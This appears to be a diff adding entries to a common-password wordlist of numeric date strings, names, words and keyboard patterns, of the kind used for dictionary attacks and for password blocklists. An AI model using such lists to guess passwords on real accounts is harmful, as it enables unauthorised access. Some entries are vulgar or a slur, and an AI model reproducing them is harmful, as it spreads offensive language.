+05121956
+051198
+051196
+051168
+05111969
+05111964
+051072
+05101973
+050966
+05091968
+050894
+05081964
+05081961
+050795
+050771
+050765
+05071960
+050681
+05061967
+050570
+050484
+050473
+050462
+05042001
+05041959
+05041957
+050399
+050394
+05031968
+05031966
+05031953
+05022002
+050174
+050168
+05011964
+0490
+0489
+0487
+0485
+0481
+0479
+042000
+0413
+041293
+041265
+04121965
+04111997
+04111960
+041093
+041069
+041062
+04101963
+04101955
+040993
+04088
+040877
+040869
+04081996
+040796
+040792
+040693
+040678
+040571
+040569
+04041964
+04041961
+04041959
+04041956
+040393
+040381
+040378
+04032010
+040286
+040276
+040274
+040269
+04021998
+04021967
+04021961
+040195
+04011967
+04011960
+0378
+031975
+031268
+031172
+03112001
+03111966
+03111964
+03111962
+031087
+03101967
+03091967
+03091958
+030874
+030873
+03081965
+03081964
+03081957
+03071970
+030678
+03062001
+03061968
+03061967
+030592
+03051999
+030475
+030472
+03041996
+03041965
+03041961
+030395
+030374
+030363
+03031967
+030295
+030274
+030270
+03021968
+030196
+030195
+030169
+03012001
+03011965
+03011956
+03011955
+0295
+028526
+0285
+0272
+0258
+0252
+021983
+021982
+0217
+021495
+021298
+021295
+021293
+02121965
+021193
+021175
+02111969
+02111968
+02111957
+021077
+021072
+021071
+021056
+021021
+02101998
+02101969
+02101961
+020976
+020968
+020962
+02091997
+02091959
+020878
+020874
+020872
+020869
+02081960
+020799
+020797
+020778
+02072000
+02071968
+02071965
+020698
+020694
+020663
+02061967
+020573
+020571
+020492
+020462
+020460
+02042009
+02042007
+02042002
+02041963
+020368
+020363
+02031961
+020304
+020298
+020268
+020265
+02021965
+02021957
+020171
+02011956
+02011952
+02011949
+0192
+0179
+0159
+0153
+0148
+014702580369
+012012
+011299
+01121964
+01121961
+01121950
+011196
+011188
+011174
+01112001
+011097
+011069
+01101999
+010970
+010968
+01091939
+010899
+010872
+010869
+010798
+010794
+010780
+010771
+010770
+01071998
+01071968
+01071962
+01071960
+01071957
+010668
+01061997
+01061959
+010598
+010575
+010568
+010567
+01051958
+010497
+010477
+01042002
+01041959
+010407
+010397
+010396
+010293
+010273
+010272
+01021968
+010197
+010108
+008800
+0080
+0072
+0065
+0049
+003842
+0034
+0018
+zzztop
+zxcvbnm123456789
+zxcvbn123456
+zxcvbasdfg
+zxcvb12
+zxcvb09876
+ZwT2sBzL
+zugzug
+zucchero
+zsxdcfv
+zsnes1
+zsexdr
+zsergn
+zoso
+zorrope
+zootsuit
+zolushka2
+zoltar
+zoey
+zlatan
+zipzap
+zippo123
+Zildjian
+ziggydog
+ziggie
+zhv84kv
+zhongguo
+zemanova
+zeeshan
+zeek
+zasxcd
+zarazara
+zaqwerty
+ZAQ12WSX
+zapp
+zachman
+ZACHARY
+z1x2c3v4b5n6m7
+z1x2c3v4b5n6
+yuyuyuyu
+yummies
+ytpfdbcbvjcnm
+youknowi
+yougotit
+yoshimitsu
+yoshimi
+yonder
+yoman
+yocrack
+yield
+yfxfkmybr
+yfifhfif
+yesyesye
+yeoman
+yelrah
+year
+yeahman
+ybrjkftdyf
+ybrecz
+yawetag
+yasmeen
+yankee23
+yamyam
+yakima
+y2k
+xz33333
+xxxwow
+xxx12345
+xtvjlfy
+xtcnth
+xs4all
+xfiles1
+xenon1
+xenia
+xcvxcv
+x1y2z3
+x123456x
+x002tp00
+wynter
+wxcvb
+wxc123
+Wwwwww1
+wwwww77
+wwww1
+wwwooo1234
+wwjd
+wurst
+wunder
+wtfwtf
+wsx123
+wrestle1
+wrapper
+wool
+woodfish
+woodbury
+woodall
+wonderbr
+wombats
+Wolves1
+wolf123
+wolf100
+WMINet
+wjc200
+witchy
+wiskers
+wisdom1
+winter98
+winter0
+winstonone
+winston6
+winsome
+winged
+windows2
+windfall
+winbig
+wimbledon
+wimbledo
+willy123
+Willie
+williams1
+willer
+Wildcat1
+widow
+widew
+wideopen
+wicke
+whyme2
+whole
+whodaman
+wheelman
+wheeling
+wheelie
+wham
+whack
+wett
+wethepeople
+westerns
+west1234
+wesker
+werty123
+wert21
+werrew
+wend
+welcome7
+welcome5
+welcome4
+welcome0
+weiss
+weiland
+weider
+weeks
+webby
+wealthy
+wazzkaprivet
+wawa
+waves1
+watson0
+watso
+waterdog
+water5
+wasd1234
+warspite
+warman
+wapku1
+wapbbs_1
+wanting
+wankher
+Wanker
+wanadoo
+walter34
+wallie
+wallace2
+walkers
+w3e4r5t6
+w00tw00t
+Vvvvvv1
+vtldtltd
+vthokies
+VRe2nC3Z
+vovan_lt
+vova2010
+voronova
+Voodoo1
+vonsclan
+volga
+voice
+vocals
+vmDnygfU
+vjhjpjd
+vivace
+vitalik123
+vital
+viruss
+violine
+vintage1
+villegas
+vikes
+vika2001
+vika1995
+vika12
+viglen
+vigil
+ViewSonic
+victoriya
+vicelord
+viborg
+vgfun
+vgbh12
+vfvfyz
+vfvfnfyz
+vfvfif
+vfvekmrf
+vfuybnjajy
+vfufpby
+vfkzdrf
+Vfitymrf
+vfif1986
+vfhnsyjdf
+vfhmzyf
+vfhbegjkm
+Vf279sm
+vetter
+vespa123
+vermeer
+verbier
+verbati
+vepsrfyn
+venom123
+venger
+vbvbvb
+vbhjyjdf
+vbhjndjhtw
+vault
+varken
+vans
+vanina
+VANESSA
+vandy
+vandread
+vanburen
+valusha
+vallarta
+valetudo
+v55555
+v00d00
+Uuuuuu1
+utrecht
+Ussy1
+userpass
+user1122
+useful
+urbana
+uragan
+upskirt
+upiter
+universidad
+union1
+underwea
+underage
+ultracash
+Ultimate
+uiorew
+uhtvkby17
+uhfyfn
+ufptkm
+ufkxjyjr
+ucht36
+ubnkthrfgen
+u812
+u23456
+tyui
+tytytyty
+tylerca310
+tyler12
+twiste
+twinstar
+twine
+twentyon
+twenty1
+tvmarcia
+tuscany
+turke
+Turbo1
+tupacs
+tummybed
+tulip1
+tuffgong
+tucke
+tucano
+tubby1
+tsadmin
+truths
+truly
+truitt
+trueman
+trottel
+tropez
+trontron
+trolo
+trixter
+triston
+tristin
+tris
+trips
+trieste
+trickster
+trickste
+trfnthby
+trevino
+tressa
+tremendo
+treech
+tree123
+tray
+travka
+transalp
+trannies
+traitor
+traills
+tracey1
+Tr2Amp25
+towel
+tour
+touareg
+totti10
+totti
+totenkopf
+toshka
+toshi
+torres9
+torotoro
+topsy
+tootle
+toothpic
+toontown
+tools1
+toofast
+tony22
+tomuch
+tommyk
+tommy55
+tomch
+toluca
+tolkein
+token
+tocool
+tobyto
+toby12
+toby11
+toblerone
+toadfrog
+tktyrf
+tittie
+TITS
+tish
+tiptip
+tinsel
+tinmouse
+Tina
+timpani
+timoteo
+timoshka
+timmys
+timmay
+timexx
+timdog
+timbuktu
+tile
+tijean
+tighthole
+tigger13
+tigerz
+tigersha
+tiger23
+tiger00
+tico
+thundercat
+thugstools
+thresher
+threee
+thousand
+thorne
+thimble
+thetford
+thesun
+TheSpot
+thesimpsons
+thepro
+theme
+theman22
+thejam
+thegoat
+thegirl
+thecakeisalie
+thebrain
+thebitch
+thc420
+thankful
+Thanatos
+than
+textbook
+test22
+terter
+termit
+tennis22
+tennis01
+tempo1
+temp12
+tejano
+teenfuck
+teendrea
+technik
+teamase
+tdm850
+tazzy
+taunt
+tatonka
+tati
+tater1
+tatarka
+tastee
+tasker
+tasha123
+tarragon
+taro
+Tarheels
+tanner1
+tankdog
+tanelorn
+tanager
+tamplier
+tamar
+tamada
+tallis
+tallica
+tallen
+talavera
+takethat
+takefive
+takecare
+tailspin
+taganrog
+taff
+taekwon
+tactics
+tachyon
+taburetka
+t5r4e3w2q1
+t12345
+SYSTEM
+syssec
+sysman
+sydnee
+swizzle
+sweetman
+sweet987
+sweet666
+sweaty
+swearer
+swapna
+svtcobra
+svoloch
+suvorov
+sutvsc5ysaa
+sustanon
+surfboard
+sureno
+superstr
+superr
+superpower
+superj
+superdan
+supercat
+supercal
+superbob
+super99
+Super1
+suomi
+sunspot
+Sunshin1
+sunsets
+suns
+sunder
+sumsung
+sumsum
+summer02
+Summer
+suleiman
+sulaco
+sukisuki
+suka
+suitcase
+sugar2
+sudhir
+suckass
+suck69
+subzero1
+subspace
+subrosa
+stylist
+studstud
+studly1
+studentka
+stuck
+stryper
+strstr
+Strosek
+strongbo
+streams
+streamer
+stpiliot
+storm123
+stooges3
+stony
+stomach
+stokecit
+stjude
+stixstix
+stix
+stings
+stillers
+stigma
+stiffie
+stickit
+Stewart1
+stewar
+stevesmojo
+steven6
+stevem
+STERLING
+Stephanie
+Stephan
+stepashka
+sten
+stella12
+stelios
+steer
+steen
+stblow
+stayout1
+stauffer
+starzz
+startrek1
+stars2
+starkey
+starchil
+star21
+STAR
+stanthem
+stalker2
+stacked
+sssata
+sslazio
+sridhar
+squirtle
+sqloledb
+spy007
+sprit
+springfi
+Springer
+spotted
+spotify
+sportsca
+spore
+splits
+splicer
+spitz
+spionkop
+spiffy1
+spiderman3
+spider8
+spider7
+spider2
+spider16
+speed2
+specter
+specialp
+specialized
+specialist
+spazz
+Spartan1
+spam69
+spacebal
+soylent
+southbea
+souleater
+sorrel
+sorokin
+sooner1
+Sony678
+sonnys
+sondheim
+solly735
+soller
+soledad32
+solana
+sodomy
+Socrates
+socken
+soccer77
+soccer6
+soccer23
+snoopydo
+Snoopy1
+sniper01
+snh4life
+sneezy
+snares
+snafu2
+snafu1
+smurfett
+smuggler
+smooth15
+smokey22
+smoke20
+SMITTY
+smellyfe
+smelly1
+smallvill
+smaller
+sluts1
+sluggy
+slot2009
+sloop
+slocum
+slingsho
+slickone
+slayer123
+slavka
+slavic
+Slave1
+slaphead
+slalom
+skywalk1
+skyline3
+skyclad
+skunk1
+skotina
+skiski
+skirts
+Skipper
+skillzz
+skidmore
+sizinici
+sixtysix
+sixpence
+sitepass
+sistem
+sissinit
+sissi
+sisko
+Sirius
+singles
+singl
+sinatra1
+simonsays
+silvermo
+silvergo
+silver69
+silver22
+silvan
+sigp229
+signs
+signin
+signatur
+sigma2
+sight
+sierra01
+siegheil
+sicilian
+sicher
+si711ne
+shumway
+shrine
+shrdlu
+showoff
+shortman
+shortcake
+shopping1
+shopmenu
+shoots
+shootist
+shitt
+shit1234
+shinning
+shinjuku
+shihan
+shibuya
+shianne
+SHERRY
+sherr
+shergar
+shelle
+SHELBY
+shel
+shazza
+shazia
+shawty
+shauns
+sharinga
+sharan
+shaq34
+shann
+shankly
+shampoo1
+shambala
+shaikh
+shagg
+shadrach
+shabnam
+sfgsfg
+seymur
+sexy21
+SEXX
+sexsites
+sexsex1
+sexs
+sexpics
+sexforme
+sexesexe
+sex777
+sex4free
+sex101
+severn
+SEVEN
+setting
+servette
+sergiu
+sergey12
+Sergei
+sergeevich
+serafina
+sequence
+septiembr
+seniseviyor
+semperfi1
+semperf
+selhurst
+segasega
+seek
+seeing
+secreta
+secret99
+seaver
+Seattle1
+seatleon
+sean123
+Seamus
+sdh686drth
+scurvy
+scuba123
+scratch1
+scorpius
+scope
+scooter5
+science1
+schreibe
+schokk
+schnitzel
+schlitz
+scatter
+scarpa
+sazd
+saxo
+sawsaw
+savings
+savannah1
+SAVAGE
+Sauron
+saul
+satyam
+saturnin
+Saturn
+sato
+satisfy
+sathya
+sasuke1
+sasuk
+sasitare
+sasha2011
+sasha1993
+sasha13
+sasha111
+sasha007
+Sascha
+sarita2
+sargeant
+saretta
+saravana
+saransk
+sarakawa
+sarahd
+sarah7
+sarah13
+santas
+santafe1
+sanremo
+sanjos
+sanguine
+sanfrancisco
+sanek123
+Sandy
+sandra11
+Sandra1
+Sandman
+sandi1172
+sanderso
+samuraix
+samura
+samuele
+samsa
+samogon
+samina
+samia
+samcat
+samba1
+samara63
+salter
+salomo
+salo
+sallydog
+saline
+salamanc
+sakura1
+sahtm080
+sahtm069
+sagittarius
+saginaw
+safronova
+sadie2
+sabrosa
+s9te949f
+s1s2s3
+ryryry
+rutherfo
+rutabaga
+rustic
+Rustam
+russi
+russel1
+RUSLAN
+rushhour
+runrig
+runner12
+rulesu
+Rules1
+ruggiero
+rugby2
+rufus2
+rufina
+ruffin
+rube
+rubarb
+rsturbo
+rs2000
+royroy
+roykeane
+royjones
+roxanne1
+rowboat
+rounder
+roskilde
+rosi
+roses1
+roseanne
+rosalina
+rosalba
+roper
+ROOSTER
+rooney10
+ronster
+RONNIE
+ronaldo99
+ronaldo123
+romance1
+roma2010
+roma1996
+roma1990
+rolyat
+rolo
+roleplay
+roleguy
+roflol
+rodeos
+rockster
+rockstar1
+rocko1
+rockbottom
+robust
+robles
+robinb
+robertos
+robert6
+robert19
+roads
+Rjycnfynby
+rjvgjn
+rjpkjdf
+rjnjatq
+rjhjdf777
+rjgtqrf
+riverat
+risky1
+risky
+ripley1
+riorio
+rinker1
+ringbuch
+riki
+riggins
+riff
+ricorico
+rickshaw
+richelle
+richboy
+richardo
+richard8
+ricci
+riccard
+rhh8319
+rhbcnbyrf
+rfybreks
+rfrfitxrf
+rfhvfyftd
+rfhfdfy
+reynald
+reymysterio
+revers
+revenue
+revell
+retype
+returns
+retry123
+retraite
+reston
+resin
+reserved
+reptymrf
+repooc
+renrut
+renown
+renob
+renfrew
+RENEGADE
+renaldo
+remmah
+relaxweb
+rejoice
+reinhold
+reiko
+reglisse
+regime
+refinnej
+redwoods
+Redwing1
+redsox99
+redsox3
+redsox24
+redsox12
+redsox01
+redskins1
+redrobin
+redpoint
+rednex
+redial
+redhed
+redheart
+redfield
+redeyes
+reddick
+reddevils
+reddead
+redass
+red789
+red1sox
+rebon
+rebellio
+realsex
+reality3
+realhard
+reach
+raven11
+raunchy
+rauf123
+rattrap
+ratliff
+ratface
+rate
+ratcat
+raptors1
+rapide
+rangy
+Randy
+randle
+rampart
+ramon1
+ramman
+ramin
+ramble
+rakkasan
+raiser
+raindog
+raiders0
+Raider1
+raide
+ragers
+rafaela
+radion
+radial
+radar123
+rada
+qwsxza
+qwertyuiop12345
+qwertyuiop12
+qwertys
+qwerty555
+qwerty1992
+qwerty0
+qwedcxza
+QWEasdZXC
+quincey
+quiksilv
+quicksand
+Queen1
+queball
+quasi
+qualcomm
+quadra
+quackers
+qsefthuko
+qqqqqqw
+qqq777
+QcxdW8RY
+qaz26101778
+q777777
+q4n2Jdeh
+q1w2
+q1234q
+q123456q
+Q12345
+q123123
+pussy24
+pushistik
+purple7
+purple3
+purgator
+purdey
+purcell
+puppylov
+punto
+pundai
+punany
+pumice
+pumas
+puki
+puissant
+puffpuff
+pucker
+publius
+psycho78
+Psycho1
+psiholog
+psa6400
+prune
+prozak
+proverka
+proud
+protozoa
+protecti
+prosser
+pronin
+promote3
+prokuror
+prohor
+progressive
+progon
+profiles
+profil
+problemas
+probegt
+privetik
+prive
+privates
+priroda
+priory
+Prince1
+preserve
+Presario
+PRECIOUS
+pratibha
+pr1ncess
+Ppppppp1
+ppooii
+PPj22WE
+pp00pp00
+powert
+powerof3
+potters
+potenza
+potapova
+positron
+positano
+posaune
+portishead
+porsche8
+porridge
+porndog
+popey
+poot
+poopster
+poolboy
+pookster
+Pookie1
+pook
+poohead
+poochie1
+pony76
+pontia
+pomme
+polyakova
+polopo
+polo123
+polly123
+pollon
+polkpolk
+politika
+polis
+policia
+poli10
+pol123
+poirot
+poesje
+poepoe
+poep
+podonok
+podarok
+PMTGJnbL
+pmedic
+Pm209mt
+plushka
+plumpy
+plumpers
+plumb
+pluck
+plowboy
+PLAYTIME
+playlife
+platonov
+plains
+pjkmabhz
+pixels
+pivopivo
+pitpit
+PITBULL
+pisello
+Pirate
+pippone
+pippi
+pipa
+pino
+pinkys
+pinky2
+pingi3
+pineapple1
+pimpdady
+pimp13
+pilsung
+Pillow1
+pillage
+piledriv
+pigglet
+pigface
+pies
+picaso
+picapica
+picabo
+pianino
+physic
+photoshop
+photogra
+phoeb
+phipps
+philemon
+phil1234
+phigam
+pharma
+phantom3
+pfuflrf
+pfqxtyjr
+pfqwtd27121988
+pfhfnecnhf
+peugeot406
+pets
+petrik
+petras
+peterd
+peter3
+perviz
+peruan
+peru
+persist
+permanent
+permanen
+Performing
+peresvet
+pepperon
+pepper14
+pens66
+penile
+penelop
+pene
+peluch
+peligro
+pelham
+pelado
+peiper
+peeps
+peeler
+peanut11
+peachfuz
+peaceman
+peacemaker
+payaso
+paul99
+Patton
+patino
+PATCHES
+passwordd
+password88
+Password2
+Passw0r
+passtrader
+Passion
+pass3s
+pass28
+pass1821
+pass13
+Pass
+paspas
+party01
+parliame
+parkur
+parker01
+parallel
+papote
+papirus
+papier
+papasha
+papas
+papa12
+paopao
+panzer1
+pangolin
+Pandora
+pandemonium
+palmyra
+palla
+palani
+Paladin1
+palacios
+palacio
+pakistan1
+pajarito
+paint1
+pagans
+padron
+padlock
+padawan
+packer4
+packages
+ozzmosis
+ozwald
+ozoju7
+oxford1
+owen11
+ovaltine
+outbound
+ouachita
+ou812a
+ottokar
+osmosis
+oskar123
+ortho
+organs
+orestes
+oregano
+orange88
+orange6
+orange22
+orange10
+opusxx
+operate
+open12
+open1
+opal
+Oooooo1
+oohrah
+onspeed
+onlygod
+online12
+onizuka
+onetwothree
+onetwo3
+onestep
+omega12
+olle
+olivie
+oliphant
+olioli
+olietjoc
+olga1976
+olemiss1
+olegdivov
+oldno7
+oldmans
+oldboy
+olaf
+okaykk
+oilcan
+OICU812
+ohyes
+october7
+oct2888
+obsessed
+object
+oaken
+o1l2e3g4
+nursery
+nunya
+number8
+nulife
+ntktgepbr
+noviembr
+novak
+notrub
+nothing0
+noser
+norwegen
+northpole
+nopasaran
+noob123
+nomadic
+nolose
+nollie
+nokian82
+nokiae51
+nokia5610
+nobunaga
+nobull
+Nnnnnn1
+njqjnf
+nitrate
+NIRVANA
+ninth
+nils
+nikopol
+nikonf5
+nikko1
+nikkin
+Nikey63
+nikegolf
+Nihao123
+nightshade
+nightmare1
+nietzsche
+niconico
+nicolette
+nicole3
+nicole123
+Nicola
+NICK1234-rem936
+nicely
+niccolo
+nibiru
+nhfycajhvth
+nhfrnjhbcn
+nhfkzkz
+nfnmzyrf
+neyland
+newyork2
+NewYork
+NewYear
+newport2
+newpass2
+newmoney
+newmexico
+newmedia
+newborn
+NetworkingPe
+netware1
+nether
+net
+nesterova
+nerone
+neron
+nepbr2009
+nemiroff
+nekrasova
+negrita
+negr
+necron99
+NCC1701E
+nbvehrf
+navisite
+nautical
+nautica1
+naumov
+naumenko
+Nature
+natasha123
+natalie2
+nata1980
+nastya2010
+nastya1997
+nasa
+naruto99
+narsil
+narine
+narf
+narendra
+nantucket
+nantucke
+nanner
+namor
+nadnerb
+nadler
+nabila
+mystic1
+myst
+myspace2
+mypuppy
+myosin
+myemail
+mybaby1
+mybabe
+mutate
+mustkill
+mustikka
+Muskrat
+music7
+murph1
+murmel
+murciela
+murasaki
+muppet1
+mung
+mundo
+multisca
+mukkula
+muffin11
+mudpie
+muadib
+msoracle32re
+msdasc
+mrwhite
+mrmike
+mrcool
+mrblue
+mover
+mountai
+mouloud
+motilda
+Mother1
+mother01
+moth
+mosias98
+morty
+morte
+mortars
+morrisey
+Morris
+mor_pass
+moroz
+mornings
+morello
+morale
+mora
+mopar440
+moose23
+mooo
+moons
+moon69
+moon1234
+moolah
+moocher
+montse
+montero1
+montblanc
+monkeybutt
+monkey14
+monk3y
+monik
+Monica1
+moni
+moneysho
+moneybags
+money69
+money13
+Money
+moNDay2
+MONDAY
+monamona
+molars
+molar
+mojo11
+mohamma
+mogilny
+moggie
+moderator
+modem1
+modaddy
+mocelot
+mocajo
+mobile1
+Mobil1
+mmmmmmmmm
+mko09ijn
+mj2345
+mj1234
+mixmaster
+miumiu
+mitsou
+MISTY
+mister2
+missydog
+missions
+minntwin
+minin
+minimax1
+minger
+mines
+mindspri
+mindfuck
+militar
+milfhunter
+mikie
+mike88
+mike33
+mike1969
+mike19
+middleto
+mickeys
+mickael
+Mick
+michiga
+michaelp
+michaeljackson
+michaelg
+michael123
+micaela
+micael
+miatamx5
+mgmgmg
+mexica
+metlife
+methanol
+metaxa
+metaphor
+merrill1
+merlin2
+merdes
+mercury2
+menow
+menard
+Memphis
+MEMEME
+memem
+member1
+melod
+mello1
+melita
+meiling
+megan2
+megama
+megabass
+meetme
+mecano
+mdxpain
+mdmgl004
+mcmaster
+mayurs
+mayumi
+Mayhem
+maxsam
+maxmotives
+maxmax1
+maxin
+max1992
+max12345
+Maurice
+mauric
+maudit
+matthewd
+matthew4
+matt23
+matt10
+matrixxx
+matrixx
+matrim
+matelot
+master666
+master32
+masson
+massi
+masser
+masque
+masonic
+Mason1
+mashmash
+masha2010
+marusy
+marsala
+marmeladka
+marmaris
+marmalad
+markus1
+mariss
+Mariners
+marimar
+marillion
+maria3
+margherita
+marco123
+marche
+march23
+march17
+march14
+marcelin
+maranath
+Manuela
+mantha
+mantaray
+manoj
+manny24
+mankind1
+maniacs
+manhole
+mangus
+mandog
+mandalay
+mandala
+manchester1
+managers
+Manager1
+mamour
+mamou
+mamiya
+mamatata
+mama777
+mama1970
+mama1961
+malo
+malloy
+malishi
+mali
+maksimov
+maki
+makena
+makaron
+makalu
+maisuradze
+maiso
+mailman1
+mahoomar
+mahmud
+maha
+magritte
+magnum1
+magnoli
+magmag
+magik
+magichat
+maelstro
+madruga2
+madlen
+madi
+maddog01
+madara
+madalena
+macys
+macy
+macondo
+maclaren
+mackmack
+maccom
+m1m2m3m4
+m1m2m3
+lzlzdfcz
+lynyrd
+lynnlynn
+lvbnhbtdf
+lutz
+lupo
+lunar2
+lumpkin
+lullaby
+luka
+luisit
+ludo
+lucy123
+luckyy
+luckystr
+lucky4
+LUCKY
+lucius
+lucass
+lucas12
+ltybc
+lth1108
+loxpidr
+lowers
+LOVEYOU
+lover123
+loveme12
+lovegirls
+lovegame
+loveall
+love777321777
+love4
+love200
+lotto
+loserkid
+lorna1
+lorie
+lords
+loppol
+lopotok01
+loopie
+lookat
+lonley
+longtail
+longford
+longfell
+longest
+LONEWOLF
+lomond
+lolman
+lollero
+lokomoti
+loklok
+loki2496
+lohotron
+logon
+logoff
+logjam
+logan2
+lofton
+locutus1
+lockedup
+Loading
+lloo999
+llewelly
+lk9slwGh3x
+ljcnfkb
+lizar
+liza2000
+livre
+livia
+LIVERPOOL
+liudmila
+liten
+lisica
+lipps
+lipid
+lingam
+linear
+lindalou
+Linda1
+Lincoln1
+lilcrowe
+lilac
+likesdick
+lightman
+lifted
+lifeguard
+lies
+lidia
+licku
+lick69
+lichking
+libertas
+liane
+lgkp500
+lfiflfif
+lexx
+lexusis
+lexus11
+lexington
+lexa
+level1
+letmeout
+letmeon
+letmein123
+LetMeIn
+letizia
+lespaul1
+leslie12
+lera2000
+lera123
+leonor
+LEONARDO
+lennon1
+lenina
+lemuel
+lekmcbytz
+legolego
+LEGACY
+leee
+leather9
+leather1
+lealea
+lbvekmrf
+LbnJGTMP
+lazer1
+lawsons
+lavern
+lauretta
+lauren12
+Laura1
+lastcall
+lassiter
+laser123
+LARRY
+lariat
+laranja
+laplace
+lanlan
+lanky
+lanesra
+landau
+Lancelot
+lamer1
+lambo
+Lakota
+lakes
+laid
+laden
+ladder1
+lachesis
+lachen
+labs
+labrado
+kyleregn
+kursant
+kurgn01
+kurama
+kungsan
+kukuruku
+kukaracha
+ktjynsq40147
+kss2773
+KRISTINA
+kriss
+krazyk
+kravitz
+kravin
+krauss
+krasavchik
+krakow
+koukla
+kotik
+koston
+koss
+kornkid
+kopa1994
+koolman
+koolkool
+kontiki
+konovalova
+konoplya
+kondrat
+kolomna
+kokopell
+kokaine
+kobebrya
+kobe6666
+knute
+knopo4ka
+knights1
+knick
+kneecap
+knee
+kmdbwf
+kman
+klovn
+Kleopatra
+kjkjkj
+kizzie
+KITTY
+kissmy
+kishan
+kiseleva
+kirusha
+kirsten1
+Kirsten
+kirill1
+kippy
+kippers
+kingwood
+kingring
+kingkon
+King1
+kindle
+kimmi
+kimber1
+killer9
+killer21
+killeen
+kiley
+kikowu
+kickers
+khmer
+kfgecbr
+keyblade
+kewell
+kevin7
+kessel
+keroppi
+keren
+kentaro
+kenseth
+kenpo1
+kenneth2
+kennedy12
+kenichi
+keneand
+kemo
+kemerovo
+kelse
+kelly5
+keepsake
+keener
+keefer
+kebab
+kearney
+ke12fe13
+kazoo
+kazman
+kazakhstan
+kaytee
+kayle
+kaylab
+katuha
+katinas
+katemoss
+katanga
+katalina
+kaspersky
+kasi
+kashyyyk
+karupspc
+karola
+karol1
+karloff
+karibu
+kareta
+karenw
+karelia
+kareena
+karasik
+kapriz
+kantot
+kankan
+kanabis
+kamina
+kamilka
+kamikazi
+kamelot
+kamakazi
+kalpana
+kalle123
+kalle1
+kaline
+kalifornia
+kalash
+kalahari
+kakaha
+Kaiser
+kaisar
+kahlan
+kafka1
+kabouter
+k1k2k3
+JwHw6N1742
+jwest
+justinb
+justin2
+just4u
+juni
+junebug1
+june16
+july21
+july14
+july12
+julie123
+juke
+jujujuju
+juice5
+juanjuan
+juanjo
+jtmoney
+jr1234
+journey1
+jourdan
+joshua99
+joshua23
+joseph2
+joselon69
+joselit
+jose123
+jordy
+jordan9
+jordan10
+jonny123
+Jones
+jonass
+jollymon
+jolien
+jokerman
+JOJO
+johnna
+johnmc
+johncen
+john55
+john21
+john2
+johan1
+joeload
+joe2000
+joe1
+jndthnrf
+jkzjkz
+jjohnson
+jjjjj1
+jizzeater
+jive
+jitter
+jitendra
+jism
+jimmyz
+jimmypag
+jimmy6
+jimmmy
+jimkirk
+jimbob1
+jilly
+JIGGY
+jiggles
+jigaboo
+jiffy
+jhbufvb
+jg3h4hfn
+jettas
+jett
+jeter1
+jeter02
+jetboat
+jesussaves
+jesus4me
+jessup
+JESSIE
+jessejames
+jerry69
+Jerry
+jerkface
+jeremias
+Jeremiah
+jenna123
+jembut
+jelway
+jeffwsb1
+jeffrey4
+jeffgord
+jeffers
+jeffbeck
+jeannett
+jaykay
+jayde
+jaycob
+jaxson
+javier1
+jasonw
+jasonlee
+jasonj
+jasonh
+jasona
+jason13
+jason01
+jasmine123
+jasjas
+japan2
+January
+janos
+janin
+janice1
+janeen
+jammygirl
+jamie2
+Jamie1
+jamesy
+jamesdea
+james777
+james6
+james4
+james10
+jameel
+jambos
+jama
+jake69
+jake13
+JAKE
+jaguarxj
+jagr
+jacobson
+jacobb
+jacksons
+jackfrui
+jackdaw
+Jackass
+jack2
+jack13
+jabo
+jabari
+jaan
+j1964
+ivycold
+ivette
+itsmylife
+itsmee
+italie
+italia1
+Istanbul
+issue
+Island
+isisisis
+ishard
+isgod
+isaacs
+ironwood
+irena
+iraq
+irairaa
+ira123
+inventor
+intrude
+inter1908
+inna123
+inheat
+Infalicall
+indiana7
+inca
+imjakie123
+imbue
+imawesome
+ilyas
+iluvit
+ilshat
+illwill
+illicit
+illest
+ilike69
+ilford
+igor1994
+iforgoti
+ifkfdf
+idontcar
+iddqdiddqd
+iddqdd
+ichiro51
+iceman11
+iceman01
+icebaby
+ibelieve
+iamsocool
+iamme
+iamking
+iaminlove
+iamawesome
+i12345
+HZgG9umC
+hyrule
+hyperlit
+Hyperion
+hyman
+hyderabad
+hush
+hurzhurz
+huntin
+hujhuj
+hugues
+hubris
+hubertus
+htrkfvf
+htmlctl
+hrothgar
+hpSALGaY
+hpesoj
+Hp189dn
+howie1
+HOWARD
+houra
+hotty1
+hotstud
+hotporn
+hotness
+hotcakes
+hotboy1
+hotbitch
+host
+hoskins
+hosiery
+hosers
+horse123
+hornys
+hormone
+horizon1
+hopping
+hooks
+honey12
+hondo17
+hondaa
+honda200
+honda123
+holton
+Hollywood
+Hollywoo
+hollan
+holeinone
+holdon
+holcomb
+hogwild
+hogans
+hoffmann
+hockey33
+hockey13
+hobson
+.hjxrf
+hjvfyjd
+hjpjxrf23062007
+hjpjxrf
+hjlbntkb
+hitme
+hitman1
+hispanic
+hindustan
+hiller
+hiker
+hightide
+hightech
+hibernian
+hhhhhhhhh
+hhhhh1
+hhhh1
+heydude
+hertz
+HERCULES
+herc
+herbs
+henry5
+henry12
+Henrik
+henrie
+henr
+henkie
+Hendrix
+helpme96
+hellokitt
+hello1995
+hello11
+hellhoun
+hedonism
+heccrbq
+heather9
+heather4
+heartles
+heady
+headroom
+headhead
+hawkwood
+Hawkeye1
+hasty
+hassagjs
+harumi
+harrypotte
+HARRISON
+harold1
+harness
+harish
+harhar
+hardy1
+hardhard
+hardfuck
+Hard1
+happylife
+happyhap
+happyguy
+happy8
+happy6
+happy200
+happy11
+happy10
+hanswurst
+hannah22
+hand2000
+halle
+halfway
+halberd
+hal2001
+hakim
+haider
+haha12
+haguenau
+hague
+hackney
+HackAren
+h1d2b3
+gznfxjr
+gyozo
+guybrush
+guy123
+gurken
+gurami
+gunsnroses
+gunsguns
+gunne
+gulfstre
+guitarist
+guitar69
+guitar11
+guesss
+gtnheirf
+gthtrfnbgjkt
+gtgtgt
+grunt999
+grump
+groupie
+groucho1
+groovin
+groom
+gromov
+grocery
+grocer
+gripe
+Gregor
+greggreg
+greggg
+greger
+greg13
+Greg
+greenwav
+green420
+green15
+greekboy
+great123
+graycat
+grave1
+grappa
+grandmas
+grandam1
+grail
+grafton
+grafix
+grace2
+gozo
+goyanks
+govikes
+gothi
+gospurs
+gorillas
+gorilla9
+goredsox
+gordeeva
+gorbunov
+goran
+goose5
+gooliner
+google10
+goofy123
+goodstuff
+goodnigh
+goodlord
+goodjob
+goodfella
+goodby
+good4now
+goobie
+gonduras
+gondola
+gomes
+golive
+golfboy
+golf50
+Golf
+goldstei
+goirish1
+goin
+goherd
+gohabs
+goggle
+goga
+gofaster
+godzill
+godflesh
+god666
+gobraves
+goatmilk
+go4itnow
+gmac
+GLORIA
+gloomy
+glock9
+globes
+glenny
+glasha
+glasgow1
+gkfnjy
